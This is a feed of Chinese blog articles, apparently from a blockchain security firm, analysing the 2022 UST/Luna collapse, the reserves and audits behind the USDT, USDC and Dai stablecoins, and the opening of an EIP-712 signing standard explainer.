Luna由发行价1.3美元，最高涨到了将近120美元，整整翻了约100倍。Luna也因此有了“冲上月球”的口号。


   UST 的 复 盘   


长期以来，Luna 的支持者和质疑者都显得非常极端。
支持者们称自己为“Lunatics”大军，每天在推特等社媒平台上攻击和扫荡批评 Luna 机制的言论；质疑者则以“庞氏骗局”为由，期待着 Luna 崩盘之日的到来。
资本杀手则在背后，始终关注着行业风向，等待着最佳的猎杀时刻。
在美联储宣布再次加息 50 个基点后，机会终于来了。
5 月以来，纳斯达克指数持续下滑，市场对宏观形势的反应极度悲观，比特币价格也连续数日下跌近 10%，恐慌情绪在整个加密市场迅速蔓延。
而 Terra 生态核心团队 LFG（Luna Foundation Guard）则宣布将在 5 月 8 日调整 UST-3Crv 流动性池（UST 主要链上交易场所），为组建自己强大的 4pool做准备。
种种条件为资本围猎制造了一场完美的风暴，于是在 5 月 7 日的晚上，币圈巨鲸们悄然展开了自己布局已久的“围剿计划”。

• 5月7日晚上 — 5月8日

Curve上的攻击开始，Terra为准备Curve上的4-pool从UST-3crv撤走1.5亿流动性。有巨鲸（该地址启用于当日）在UST-3Crv池抛售8400万美元的UST，LFG为保持池子平衡，再次撤走1亿美元UST。
随后2个巨鲸地址从Anchor上撤出了3.6亿的UST存款，同时开始在中心化交易所抛售UST，造成UST短暂脱钩，用户出现恐慌。

• 5月9日

LFG宣布开始使用BTC支撑UST，但由于市场环境和BTC的抛售，Luna价格持续下跌60美元附近，近两天的跌幅接近25%，UST价格较为稳定，大约维持在-1%左右的波动，但始终没有回到1美元；
Luna的市值与UST市值出现倒挂，UST的市值超过了Luna的市值。这两件事情导致市场恐慌蔓延，死亡螺旋开始。

• 5月10日

即便吸收了超过5.8亿枚UST，LFG在Curve上使UST回锚的努力依然宣告失败，UST在DEX上持续脱钩，救市重点转向中心化交易所。
同时Luna价格下跌导致大量杠杆类defi借贷被清算（临界线约42美元），导致Luna 价格一波断崖式下跌至约30美元。
市场传言Terra在寻求融资20亿美元，同时LFG使用BTC救市促使UST回归至0.9美元，但这耗尽了LFG的所有储备金。

• 5月11日

市场传言Terra融资失败，UST大幅脱锚，最低跌至0.3美元。
Do Kwon 发表Twitter，宣布由Luna和UST的套利机制使UST回归锚定，即放弃Luna，保UST，Luna开始恶性通胀同时价格暴跌，死亡螺旋加速。
这一阶段开始了Luna的天量铸币，而套利机制导致对UST的购买需求一度使其价格反弹至0.75美元左右。


• 5月12日

Anchor上的UST存款降低至20亿，同时烧毁UST铸造Luna并出售的套利机制使UST的总量减少至约112亿。但Luna价格跌破1美元，导致套利的边际铸币量过高，Luna供应量增加至1500亿枚的规模（Smart Stake），至此死亡螺旋难以挽回。


• 5月13日

Terra区块链短时停止出块，恢复后暂停新的delegation以防范治理攻击；数小时后再次短暂停止，此次恢复后暂停Terra链上交易，但可以提币至中心化交易所。
至此，由于套利机制关闭，UST和Luna的流通量不再变化，Luna价格一度跌破0.0001，总量达6.5万亿枚，UST价格跌破0.2美元，但仍剩余112亿枚未能销毁；
Luna沦为meme coin在各大交易所进入现货存量博弈阶段，币安上24小时交易额超过38亿BUSD。
从UST轻微脱钩到UST完全崩盘，总共经历了不到一周的时间。在这一周内，UST的价格由1美元跌至约0.15美元，跌幅为85%，Luna由80美元跌至约0.0001美元，跌幅为99.9%。


   UST 的 崩 盘 原 因  


网上有十分多对UST的崩盘进行分析的文章，这里主要选取了《死亡螺旋发生后，UST和LUNA后半场还有哪些机会？》，《【深度分析】从真金白银的资金易手，看Luna崩盘的底层数学规律》，《8400万美元撬动400亿金融帝国，UST崩盘始末》，《UST 信仰崩塌？深入解读Anchor借贷机制》等文章中的一些观点对UST的崩盘进行浅析。
UST崩盘背后的原因众说纷纭，这里主要列举几个比较主流的观点：

• Anchor的高利率背后没有足够的资金来支撑

如下图所示，利息收入和质押收入是 Anochor 两大收入来源，这些收入将被用于支付存款人高昂的 APY。如果收入大于支出，那么剩余部分将流向国库作为储备金，相反，如果收入小于支出，那么国库储备金将用于弥补这一空缺。


在 2021 年的牛市中这种机制运行的非常平稳。牛市中，非稳定币的价格快速持续飞涨，意味着愿意持有稳定币并赚取收益的人并不多。
随着存款的减少和借款的增加，借款利率 + 质押收益率可以很容易地达成 19.5% 的最低收益要求，以至于国库出现盈余，收益可以开始增长，为以后可能出现的熊市做准备。
自 2022 年开始，在市场行情低迷和对 UST 作为稳定币的信心上升的双重影响之下，Anchor 上的存款规模迅速增长。
虽然在同一时间段内，借款金额似乎也在上升，但它增长速率根本无法维持存款金额增长对于收益的需求。当借款 APR + 质押收益率不足以凑足 19.5% 时，就会使用收益率储备中的多余部分。
然而，这种赚与借的重大差异导致储备金以极快的速度下降。按照2022年以来储备金流失的速度来算，储备金仍将在 2022 年 6 月中旬耗尽。
但储备金不足并不是造成UST崩盘的直接原因，因为即使降低了Anchor上的存款APY，只要Anchor提供的收益比市场的均值要高的话，依旧能够继续吸收UST（特别是熊市来临时）。再不济，也可以在背地里通过燃烧Luna铸造UST来补充储备金。

• Luna市值与UST市值出现倒挂

在5月9日脱锚前，UST总市值为186亿美元，Luna总市值为220亿美元，UST:Luna约为85%，已经接近倒挂的边缘。此时Luna的价格约为60美元，UST在0.99美元附近徘徊。那么是Luna市值与UST市值倒挂，吹响了UST崩盘的号角吗？


在《【深度分析】从真金白银的资金易手，看Luna崩盘的底层数学规律》这篇文章中，作者认为总市值为200亿美元的Luna，如果有人用无限多的Luna砸盘，最终能卖出来的美元是远低于200亿美元的。
并指出截止Luna市值跌去87%的时点，累计只有约10%的UST能通过转换为Luna退出，因此认为UST市值应该控制在Luna市值的10%之下（最好是5%），这样才能维持UST的价格锚定。

• Do Know和LFG的救市

LFG Reserves公开的数据显示，在5月8日死亡螺旋发生前，项目方含有的储备金为30亿美元。
从5月9日15时（北京时间，下同）开始，LFG的公开钱包地址开始发生交易，最后一笔转入币安的交易发生在5月10日12时。此时的UST还维持在0.985以上的价格。
但Do Kwon在twitter上表示在UST跌破0.95美元之前，不会动用这一笔资金。


从5月10日凌晨开始，UST开始逐渐脱钩。在早上8时左右，UST的价格跌破了0.7美元。之后UST一度回到了0.9美元，但是并没有继续回到锚定价格。
5月11日，在没有任何资金来帮助UST进行锚定后，Do Know发表推特，选择使用Luna和UST自身的燃烧和铸造机制来让UST回到锚定价格（选择躺平）。
虽然后序UST的价格一度回到了0.8美元，但是仍然无法阻止死亡螺旋，最后UST不断地下跌至0.01美元以下。


LFG在5月16日发表了twitter，说明了LFG Reserves资产的来龙去脉。
• 5月8日，LFG的初始资金：80,394 BTC，39,914 BNB，26,281,671 USDT，23,555,590 USDC，1,973,554 AVAX，697,344 UST，1,691,261LUNA
LFG为了稳定UST的价格，用26,281,671 USDT 和 23,555,590 USDC合共换取了 50,200,071 UST。52,189 BTC卖给了交易对手方，换取了1,515,689,462 UST，交易对手方返还了5,313 BTC
• 5月10日，当UST的价格跌至0.75美元后，TFL代管LFG，并卖出了33206 BTC，换取了1,164,018,521 UST
• 5月12日，LFG再次将持有的883,525,674 UST 转换成 221,021,746 Luna，并将Luna质押用于防范潜在的治理攻击
至此，LFG的储备金几乎已经全部使用完毕，仅剩313 BTC，1,973,554 AVAX，39,914 BNB，1,847,079,725 UST和222,713,007 LUNA (其中221,021,746质押在验证者上)。LFG在救市中，总共使用了80081 BTC，26,281,671 USDT，23,555,590 USDC，总计约25亿美元。
对比链上数据，LFG的三个公开钱包地址bc1qkhl4pt957urd8sleys3p00ua2h23nl3hghhtkyaatgzapj9kflhqar0jdv，bc1q9d4ywgfnd8h43da5tpcxcn6ajv590cg6d3tg6axemvljvt2k76zs50tv4q和bc1q0wgz9gt8tyac5ct94czvyuu4v264fclrxlq8su4s2kk6u8nmwy9swjp6t7陆续向Gemini和币安钱包转入了共计约8万个BTC，从5月9日15时开始，到5月10日12时完成最后一笔转账。
从资金流向图可以看到，LFG的三个地址总共转出了28205 + 19188 + 30000 + 3000 = 80393 BTC，基本上与twitter的内容相符。
从交易的金额来看，LFG所说“52,189 BTC卖给交易对手方”中的交易对手方为Gemini，钱包地址为（1NYAd6fA2dc5xowuweFUSDRqRTEzDwk28）。
比较有意思的是，LFG转入了30000 BTC给Gemini的钱包地址后，使用了6个新地址进行交易，其中4次转入3000 BTC，1次转入0.1 BTC，最后一次将剩余的7179 BTC全部转入Gemini。
期间，没有看到LFG所说的“交易对手方所返还的5,313 BTC”的链上交易数据。
剩下的28205 BTC 通过中间地址转入币安钱包中，这笔交易也是LFG救市中最晚的一笔交易。资金流向图内的所有地址，除了bc1q9d4ywgfnd8h43da5tpcxcn6ajv590cg6d3tg6axemvljvt2k76zs50tv4q剩余313 BTC以外，其余地址的余额均为0 BTC。


在8万个BTC转入交易所后，Do Kwon和LFG在什么时间节点，采取了什么样的策略来抛售BTC，就不得而知了。
因此，twitter上有许多人对LFG持有的8万个BTC是否真的拿来救市产生了质疑，有可能项目方拿着8万个BTC转入交易所，谎称救市呢？
这一切都需要LFG和Do Kwon出示强有力的证据来证明自己确实在救市，但这显然是不可能的事情。
UST与Luna这种双币销毁铸造的模式，在正向循环时，越多人需要UST，则越多的Luna被燃烧，这也是前期Luna不断推高的原因之一。
若遇到熊市，Luna币价下跌，用户担心UST脱钩而抛弃手中的UST，则导致Luna不断地被铸造，稀释了Luna的价值。
并且，Anchor平台上由Luna价格暴跌导致的清算和存款人疯狂挤兑，瞬间给市场增加了大量的UST，导致UST回锚更加困难，进一步加剧了死亡螺旋的速度。
UST赖以生存的市场套利机制是建立在市场充分相信UST不会脱钩的情况下才会发生的，换句话说，市场套利能够让UST在小范围波动时回到锚定价格。
但当遇到死亡螺旋时，市场不再相信UST后，也就再也没有套利者愿意承担风险去执行套利的操作。
UST的崩盘，宣告着算法稳定币又一次失败了，并且还输的身败名裂。他的姐妹代币Luna，从辉煌的120美元，到如今0.0001美元，正是印证了那句“曾经的你，我高攀不起，如今的你，我爱理不理”。
由币圈巨鲸发起的对UST的狙击战，本质上是挑战UST的市场公信力。在加密数字货币动则5%价格波动的环境下，任何流言或者小恐慌都会通过蝴蝶效应被无限的放大，造成整个市场的恐慌和挤兑现象。
虽然Terra也通过储备BTC，在Curve上建立与USDT，USDC，FRAX的4pool（崩盘前未建立好）来等操作来保证UST的稳定性。
但事实说明，这远远还不够。算法稳定币在稳固市场公信力的道路上，还有很多需要去尝试和实践的地方。


5

稳定币真的稳定吗

在UST脱锚期间，第一大市值的稳定币 Tether（USDT）也发生了脱钩现象。
5月12日早间，Curve上价值 19 亿美元的 3 pool 池资产比例发生严重倾斜，DAI，USDC，USDT 的比例分别为 8.12%，7.7%，84.17%。
该池具有价值 16 亿 USDT ，仅有约 3 亿的流动性可供退出。根据 Curve 的说法，若 USDT 占比超过 87%，会加速 USDT 脱钩。随后，USDT最低跌至了0.95美元，跌幅约为5%。


与此同时，Tether 首席技术官Paolo Ardoino在twitter上表示，Tether 正在以 1 美元的价格执行赎回，在24小时以内赎回了3亿美元的USDT。大概经过了8小时后（5月13日凌晨），USDT已基本恢复锚定。
那么USDT和泰达公司安全了吗？那不一定，根据华尔街日报报道，有多家来自华尔街的传统对冲基金通过加密经纪公司 Genesis Global Trading 做空了（或者准备了）USDT。
强如USDT，都不可避免地因为受到冲击而脱锚，更别提那些半死不活的稳定币项目了。如何让稳定币能够锚定美元不脱钩，稳固其市场公信力，让更多人的人相信并使用它，还有很长的路需要走。

End



往期推荐



以太坊标准——EIP712

走进区块链的第一步：mev浅析

Telegram session劫持探索

APP抓包方法总结

Laravel反序列化学习

ProxyLogon利用链复现

Awesome-Forwarder开发实战

护网专题第二篇-Java内存马（下）

护网专题第一篇-Java内存马（上）


点个在看你最好看


阅读原文

跳转微信打开

]]> Fri, 22 Jul 2022 16:38:00 +0800 Unstable Stablecoins（上） https://mp.weixin.qq.com/s?__biz=MzkzODE2NjgyNQ==&mid=2247495003&idx=1&sn=666b057bbef80321da916c81dfcad5d5 Unstable Stablecoins 稳定币（上） 原创 零鉴科技 2022-07-21 17:38 湖南

Unstable Stablecoins 稳定币（上）

正文共7672字，预计阅读时间20分钟



1

简    介

稳定币（Stablecoin）是加密数字货币其中一种类型。
由于依靠算法或权益证明等产生的虚拟货币容易受到波动，同时缺乏价值储存的功能使之无法替代中心化货币，因此加密货币只被视为投机资产。
稳定币的核心想法是提供一个“稳定”价值的加密数字货币，用以衡量其他加密数字货币的价值。
这就像是19世纪中期开始盛行的金本位制度，稳定币是黄金，各国的货币对应于不同的加密数字货币。
任何人只要持有黄金（稳定币），就等于拿到了硬通货，能够自由兑换各国的货币（加密数字货币）进行交易。
稳定币对于数字货币领域而言，担任着不可或缺的角色。它的到来，使得更多人能够自由地进出数字货币领域，并保障了数字货币资产持有者的资产价值。

   稳 定 币 当 前 市 值  





目前区块链稳定币的总市值为1535亿美元，其中USDT占43%，USDC占36%，BUSD占12%，Dai占5%。


2

法币支持的稳定币

USDT
USDT（又称为泰达币），是泰达公司（Tether Limited）在2014年提出的稳定币。泰达公司将USDT与美元进行挂钩，承诺能够进行1:1的USDT与美元兑换，每发行一个USDT，泰达公司就会增加1美元的储备。

  历   史  


Tether最初命名为“Realcoin”，于 2014 年 7 月由联合创始人 Brock Pierce、Reeve Collins 和 Craig Sellars 在位于圣莫尼卡的初创公司里宣布成立的，初始代币（Realcoin）在2014年10月6日借助Omni协议发布于比特币网络。
一个月后，也就是11月20日，Tether公司将代币更名为Tether，并推出了基于美元，欧元和日元的稳定币，至此开启了Tether的辉煌时代。
提到泰达公司，还有一个不得不提的公司是Bitfinex。
Bitfinex是一个数字货币交易所，注册在英属的维京群岛，由iFinex Inc公司管理。虽然没有官方资料可以证明Bitfinex与泰达公司之间有明显的关系，但是从许多公开媒体的报道可以得知，Tether Holdings Limited 是由Bitfinex的两位高管负责注册的，而Tether Holdings Limited 底下有一个全资子公司就是泰达公司。后续有媒体发现，两家公司的CEO、CFO和董事长均相同。
根据搜索引擎关于Tether的资料，梳理出股东关系图如下：


  丑   闻  


在2019年起，纽约检察长办公室开始调查Bitfinex与泰达公司，并指控两家公司欺诈加密货币投资者，操纵加密货币市场，挪用9亿美元的USDT准备金帮Bitfinex补足亏空。
在2021年，纽约检察长办公室发布的调查报告中显示：在2017年，泰达公司没有提供任何的公开的报表，审计报告，合同或者其他法律要求，来保证 Tether 可以被赎回或兑换成美元。
报告中要求Bitfinex和Tether向纽约州支付1850万美元的罚款，另需提高透明度，每季度提交强制性报告，披露任何关联借款或应收款等信息，并按照分类披露USDT背后的支持资产数据。
根据条约，纽约检察长办公室将不再对此进行起诉。和解后，Bitfinex和Tether将不承认有任何不当行为。
再者，有调查文章显示，Bitfinex在2018年涉嫌操控比特币的价格，导致比特币的价格直接翻倍，方法则是通过使用大量的USDT来购买其他加密数字货币。
此外，Bitfinex与泰达公司在2021年以前，还有着不少的借贷款关系。


  审 计 报 告  


迫于投资者和政府的压力，泰达公司向社会公开了由第三方审计公司进行审计后的报告，其中2017年1次，2018年2次，2021年4次，2022年1次。


比较有意思的是，泰达请的第三方审计公司Friedman LLP，曾与Tether和Bitfinex一起被美国商品期货交易委员会（U.S. Commodity Futures Trading Commission）发过传票，FSS则声明说自己不是会计师事务所，没有使用公认会计原则进行上述审查和确认。
之后泰达公司陆续换了两家（MOORE为mha CAYMAN的前身）第三方审计机构进行审计，现如今使用的第三方审计机构为mha CAYMAN。
LinkedIn的资料显示，mha CAYMAN创立于2005年，注册地点位于南美洲的开曼群岛，公司主要提供的服务为会计服务，公司规模为11-50人。
最新的审计明细中说明了，截止2022年3月31日11时59分，泰达公司总资产为$82,424,821,101，总债务为$82,262,430,079，其中发布的数字货币的总价值为$82,188,190,813。
其总资产超过了总债务，并且数字货币的储备资金大于发布的数字货币的总价值（可以完全赎回）。


泰达公司的资产分为：
• 85.64% 现金 & 现金等价物 & 短期存款 & 商业票据（Cash & Cash Equivalents & Other Short-Term Deposits & Commercial Paper）
• 4.52% 公司债券 & 基金 & 贵金属（Corporate Bonds, Funds & Precious Metals）
• 3.82% 担保贷款（Secured Loans）
• 6.02% 其他投资（包括数字货币）
其中，占约86%的"现金 & 现金等价物 & 短期存款 & 商业票据"的更细一步的分配为：
• 55.53% 美国国债（U.S. Treasury Bills）
• 28.47% 商业票据和存款单（Commercial Paper & Certificates of Deposit）
• 5.81% 现金和银行存款（Cash & Bank Deposits）
• 9.63% 货币市场基金（Money Market Funds）
• 0.41% 非美国国债（Non-U.S. Treasury Bills）
• 0.15% 逆回购 （Reverse Repurchase Agreements）


因为USDT占泰达公司所发行的所有数字货币资产的99.5%，因此在这里锚定其他法币的稳定币（比如EURT）就忽略不计了。
从上面的审计报告可以看到，USDT与现金（或现金等价物）并不是严格的1:1的兑换比，而更像是0.86:1。
至于剩下的14%的资产，在审计报告中没有提供任何细节，也没有资产对应的风险等级。更详细的分析可以参考coinshare的调查报告（https://coinshares.com/research/is-tether-a-systemic-risk-to-the-crypto-market）。
目前，USDT的总资产量已经由2022年3月31日的825亿美元跌至668亿美元，缩水近20%，这与近期数字货币暴跌有一定的关系。


USDC

USDC于2018年推出，是CENTRE提供的首个服务项目，CENTRE是在创始成员Circle和Coinbase的帮助下启动的开源技术项目，由Circle基于CENTRE架构开发、并受到CENTRE一系列政策的监管。
同样的，Circle将USDC与美元进行挂钩，承诺能够进行1:1的USDC与美元兑换，每发行一个USDC，就会增加1美元的储备，Circle就会存1个USD到指定银行，并将铸造的USDC发给用户。目前，USDC的储备金由纽约梅隆银行（BNY）进行监管。
与USDT相比，USDC更加的透明和公开，并具有更高的公信力。Circle官网展示了审计报告，监管牌照，合作伙伴，开源的交易网络协议，账户黑名单列表等一系列数据和信息。
此外，Circle是全球第一家拿到纽约州BitLicense（虚拟货币交易许可）牌照的企业，此后又陆续拿到英国与欧盟的支付牌照，而Coinbase则是全球获得监管牌照最多的加密货币交易所。


  审 计 报 告  


USDC自从2018年发行以来，每月都会委托第三方审计机构——正大会计师事务所（Grant Thornton LLP），对其资产进行审计，并公开审计报告。
Grant Thornton LLP是Grant Thornton International的美国成员公司，按总费用收入计算，该公司是世界第七大会计网络，并且还是美国第六大会计和咨询机构。
该公司在全美设有59个办事处，拥有约8,500名员工，550个合作伙伴，年收入超过19亿美元。
最新的审计报告（2022年6月）中显示，流通中的USDC总量为$54,005,995,420，并且Circle公司所含有的资产至少等于流通中的USDC总量。


最新的审计报告中没有进一步细分的资产明细。Circle在官网上有一份自己统计的资产明细，其中USDC的储备金100%来自现金&现金等价物，其中现金约占23.5%，短期美国债券占76.5%。


Circle表示这个周数据没有任何第三方的审核机构进行审核，同时还附带了对USDC储备金的解释：USDC储备金由美国主要金融机构保管，包括贝莱德和纽约梅隆银行。
现金存放在美国金融机构；美国国债由第三方托管人（美国银行、纽约梅隆银行）持有并由专业资产管理公司（美国银行资产管理公司、贝莱德）管理。
在2021年8月份的审计报表中显示，USDC储备金明细中有92%来自于现金&现金等价物，1%来自公司债券，5%来自扬基存单，2%来自商业票据。
2021年9月份之后，Circle调整了USDC储备金为100%来自于现金&现金等价物。


3

‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍数字货币支持的稳定币‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍

Dai

Dai是由Maker组织发行在区块链上的，完全去中心化的稳定币，与美元保持1:1的软锚定。‍‍‍和‍‍‍‍‍‍‍其‍他稳定币不一样的是，Dai采取的是超额抵押的方式，通过Maker协议中的智能合约，将特定的加密数字资产（例如ETH）进行抵押，铸造Dai。
关于 MakerDAO
MakerDAO 是 2014 年在以太坊区块链上创建的开源去中心化自治组织。该项目发行一种名为 MKR 的治理型代币，全世界范围内持有该代币的人均可参与项目治理。
通过由执行投票（Executive Voting）和治理投票（Governance Polling）组成的科学型治理系统， MKR 持有者可以管理 Maker 协议及Dai 的金融风险，从而确保该协议的稳定性、透明性和高效性。
MKR 投票权重与投票者存在投票合约 DSChief 中的 MKR 数量成正比。
换言之，投票者在 DSChief 合约中锁定的 MKR 代币数量越多，其拥有的决策权就越大。
关于 Maker 协议
Maker 协议构建在以太坊区块链 上，用户可以用其创造货币。该协议目前由稳定币Dai 、Maker Collateral Vault（Maker 担保物金库）、信息输入系统（Oracle）和投票机制组成。
MakerDAO 依靠 MKR 持有者的投票决定关键的参数（例如，稳定费率、担保物类型/质押比率等），来治理 Maker 协议。
Dai的运行机制是公开透明的，背后由去中心化的社区自治组织来管理。社区的组成人员为治理代币MKR的拥有者和风险小组人员，他们负责维护Maker协议中需要人为干预的事务。
当需要整个社区共同来决定某项事务时（比如调整参数，改变费率），社区内的成员首先会发起一个提案，阐述事务的起因，可能造成的影响和需要改进的部分。
接下来在一定的时间内社区内的其他成员会看到提案的内容，并在提案下提出自己的想法和意见。
社区通过投票的方式来决定是否采纳该提案，社区内的成员将自己的治理代币MKR作为票，选择自己认为会对Maker协议更好的选项，最后采纳投入MKR最多的选项。


在Maker协议中，用户通过担保债仓（Collateralized Debt Position, CDP）的独特智能合约来用抵押品生成一定价值的Dai（债务），CDP会一直保管抵押品直到用户偿还借出的Dai。
在偿还了债务后，用户还需要支付一定量的稳定费，稳定费通过复合年利率，以秒为单位进行计算。
如果此时抵押品的价格出现下跌，对应的抵押率（抵押品价值/债务）也会下降。当抵押率下降至一定的阈值（阈值由社区投票决定）后，就会触发清算的流程，执行清算的角色称为Keeper。
与Compound的清算不同的是，Maker协议采取的是拍卖机制，这个机制能够在系统无法获得担保物的价格信息之时依然能对金库进行清算。
一般来说，清算由抵押品拍卖（Collateral Auction）和‍‍‍‍‍‍‍反向抵押品拍卖（Reverse Collateral Auction）构成。
在抵押品拍卖中，Keeper们通过竞价来获取待拍卖的抵押品，价高者胜。拍卖得到的Dai用于偿还抵押品内的债务和清算罚金（Liquidation Penalty）。
如果担保物拍卖上获得的Dai 足以清偿金库内的债务，并足够支付清算罚金，该竞拍会转换成反向抵押品竞拍。
在反向抵押品竞拍中，Keeper们对固定价格的Dai竞价尽量少的抵押品，尽可能地减少担保物的出售数量，剩余的担保物都会物归原主。
这样做的目的是让原抵押品的所有者可以拿回尽量多的担保品，同时保证所有Dai 的债务得到偿付。


  Dai 的 铸 造 方 式  


目前来说，Dai主要通过超额抵押，锚定稳定模块，现实资产，直接存款模块四种方式进行Dai的铸造，前两者占据了Dai总铸造量的99%。

超额抵押：以加密资产超额抵押的方式铸造Dai，抵押品可以是ETH，WBTC等常用的加密货币，也可以是Uniswap USDC-ETH等LP代币，这是Dai的主要铸造方式之一。


锚定稳定模块：锚定稳定模块（Peg Stability Module, PSM）允许用户以USDC、USDP、GUSD这三种中心化稳定币（主要是USDC）直接兑换Dai，且通过这种方式发行的Dai超过Dai 总量的50%。以现在的数据计算，等于为Dai提供了约 35 亿美元无滑点兑换的流动性。


现实资产：超额抵押现实资产铸造Dai，目前以这种方式发行的 Dai 只有 4000 多万。
直接存款模块：直接存款模块（Dai Direct Deposit Module, D3M）允许协议即时生成Dai，存入支持的第三方借贷池，而无需传统抵押品，目的是为了确保借贷协议中的浮动利率低于Maker治理决定的目标利率。在今年的6月19日，MakerDAO紧急关闭了与AAVE的D3M，原因是Aave v2上借入的 2 亿枚 Dai 中，有 1 亿枚 Dai 是借给了Celsius，并且主要由 stETH 抵押，因此存在风险。

   Dai 的 稳 定 因 素   


◆ Maker协议
超额抵押：这是Dai作为软锚定美元最关键的因素。Dai背后采用的超额抵押和清算机制能够保证每一个铸造出来的Dai都会尽可能的拥有其对应于1美元的价值。
稳定费率：稳定费率（Dai Stability Rate, DSR）是一个系统全局参数，决定了Dai持有者可基于其存款获得的收益，同时稳定Dai与美元软锚定的一个重要参数。当Dai的市场价格由于市场变化而偏离目标价格时，MKR持有者可以通过投票更改DSR来维护价格的稳定性。
–如果Dai的市场价格超过1美元，MKR持有者可以选择逐渐降低DSR，以此减少需求量，进而将Dai的市场价格降至1美元的目标价格。
–如果Dai的市场价格低于1美元，MKR 持有者可以选择逐渐增加DSR，以此刺激需求量上升，进而将Dai的市场价格增至1美元的目标价格。
锚定稳定模块：稳定锚定模块的推出为Dai的铸造和销毁提供了额外的途径，极大的提高了Dai的流动性，使得Keeper和Dai的套利者能够更方便地进行清算和套利，从而减小Dai与其他稳定币价格的差距，保证与美元的软锚定。
债务上限即时访问模块：债务上限即时访问模块（Debt Ceiling Instant Access Module, DC-IAM）模块提供了一个任何人都能够访问的接口，来更新某类资产的当前最大债务上限，这个值会与当前债务值保持一定的距离，并随之变化。当某类资产中Dai的债务达到最大债务上限时，用户将不能够继续铸造Dai，直至更高的债务上限被设置。这个模块的作用能够在减少MakerDAO治理开销的同时，降低当抵押品价格大幅下跌时所带来的风险，进而减缓了在黑天鹅事件发生时，急剧增加的Dai供应量导致与美元的锚定发生较大的偏移。
紧急关停模块：紧急关停模块（Emergency Shutdown Module, ESM）是发生紧急情况时的最后一道防线，用来保护Maker协议免受基础设施的攻击并直接执行Dai的目标价格。关停流程只能由Maker治理控制。在紧急关停后，Dai持有者可以直接赎回其对应价值的抵押品。
◆ Curve 3pool
Curve 3pool 是一个重要的 DeFi 构建模块。它是一个由 DAI、USDC 和 UDST 组成的稳定币流动性池，并拥有超过 10 亿美元的总锁仓价值。市场上其他一些稳定币也在使用 3pool 作为自己池子的一部分，来帮助锚定1美元的价格，FRAX-3CRV 就是其中一个例子。
作为最大的稳定币 Curve 池，3pool 享有大量 CRV 释放带来的好处，使其成为低风险的赚取稳定币收益的好地方，并进一步增加了流动性的深度，从而巩固了 3pool 在 DeFi 堆栈中的地位，以及Dai锚定美元的稳定性。
比较有意思的是， Do Kwon 2022年4月份提出要在Curve上建立4pool（USDT、USDC、UST 和 FRAX）。他的本意是与 3pool 竞争，打倒Dai在稳定币领域的地位，稳固UST的市场。


  Dai 的 债 务 危 机  


在2020年3月12日，全球范围的货币危机导致的黑天鹅事件使得ETH的价格在一天之内暴跌了将近50%。
这场暴跌引发了交易所、DeFi协议在内的金融机构面临了一场全面清算，短时间内的大量交易也瞬间导致以太坊网络严重拥堵。
此时，MakerDAO也面临着前所未有的巨额清算业务。但是因为区块链网络持续拥堵，以及Dai价格出现溢价，导致抵押物无法以正常的价格进行拍卖和清算，最终导致Maker系统的抵押物价值比预期的最低阈值还低了530万美元。
Dai稳定币的价格在此期间，一度上涨至1.10美元，产生了10%左右的溢价，这阻止了那些想要加入抵押品清算的清算人。
因为网络的拥堵和竞争对手的减少，那些“精明”的清算人通过高昂的gas费，以0元的价格获取了抵押品，这令Maker系统的债务雪上加霜。
最后，MakerDAO通过发行，拍卖治理代币MKR来偿还Dai的债务。这场由黑天鹅事件引发的债务危机，在MakerDAO社区共同的治理下，历时两个月，偿还了所有的债务，并将Dai的价格重新拉回至1美元。
同时，这场债务危机也暴露了Maker协议中许多问题，比如：简单的金融模型和风险评估，清算和拍卖机制中系统参数的设置较为随意，缓慢的社区决策等。
详细的分析可以查看这个文章：https://medium.com/dragonfly-research/daos-ex-machina-an-in-depth-timeline-of-makers-recent-crisis-66d2ae39dd65


  Dai 的 价 格 波 动


在2021年以前，Dai的价格波动较大，特别是在黑天鹅事件中。在2021年后，Dai的价格波动最大约为1%，这也在一定程度上说明了Dai生态的稳定性。


  文章太长 未完待续~   



看不懂或看不够？还可以看：

以太坊标准——EIP712

2022-06-10

走进区块链的第一步：mev浅析

2022-06-09

Laravel反序列化学习

2021-05-24

ProxyLogon利用链复现

2021-04-21

记一次跌宕起伏的白盒审计到RCE

2021-03-16



点个在看你最好看



阅读原文

跳转微信打开

]]> Thu, 21 Jul 2022 17:38:00 +0800 以太坊标准——EIP712 https://mp.weixin.qq.com/s?__biz=MzkzODE2NjgyNQ==&mid=2247490099&idx=1&sn=1c7bd29670a52d640e62cddbef2e14db 以太坊标准——EIP712 零鉴科技 2022-06-10 18:00 湖南

以太坊标准——EIP712



一

什么是EIP


EIP（Ethereum Improvement Proposals）是向以太坊社区提供信息或描述以太坊或其流程或环境的新功能的设计文档。   
EIP 作为一个中心角色，记载以太坊的变化并且记载在以太坊中。它们是人们提议、辩论和适应变化的途径。
有各种不同类型的EIP，其中包括会影响共识并需要网络升级的用于底层协议更改的核心EIP，以及用于应用程序标准的ERC。
例如，创建token 的标准，ERC20 或 ERC721 允许应用程序使用相同的规则处理所有 token，使得创建互操作应用程序更加容易。 

 EIP-712则是代表712号提案，主要内容是对类型化结构化数据进行散列和签名的标准，而不仅仅是字节串。

   


二

为什么要使用EIP712


该EIP主要针对两个问题：     

1. 提高链下消息签名在链上使用的可用性，节省gas；       

2. 让用户知道他们在给什么数据进行签名。

在传统的dapp签名中，用户看到的往往是一串十六进制的数据，如下图：

而EIP712强调了一种对数据及其结构进行编码的方案，该方案允许在签名时将其显示给用户进行验证，让用户清楚的知道他们将要签署什么样的数据，如下图所示：


这样使得签名消息在实用性和安全性取得重大进步，让用户对dapp的签名内容有所了解，而不是稀里糊涂的在恶意dapp签署签名。



三

规范和概念


EIP712文档中阐述了很多前置的签名和定义，但这些都可以忽略，下面直接讲解EIP712的规范和概念。内容很干，可以结合代码看。


NO.1

EIP712最终的可签名的hash生成公式

encode(domainSeparator : bytes32, message : Struct) = "\x19\x01" ‖ domainSeparator ‖ hashStruct(message)

可以看到encode接收两个参数，一个是domainSeparator，一个是message，而message的类型则是EIP712Struct。   

所以这里的encode处理就是将"\x19\x01"、domainSeparator和hashStruct(message)拼接在一起。   

domainSeparator、message和hashStruct将在下面讲解。


NO.2

Struct定义


EIP712 Struct与常见的struct类似，我们可以定义一个简单的Mail Struct：
struct Mail {  address from;  address to;  string contents;  }
对于struct的要求如下：
a.  一个struct必须具有有效标识符作为名称，并且包含零个或者多个成员变量。成员变量具有成员类型和名称；
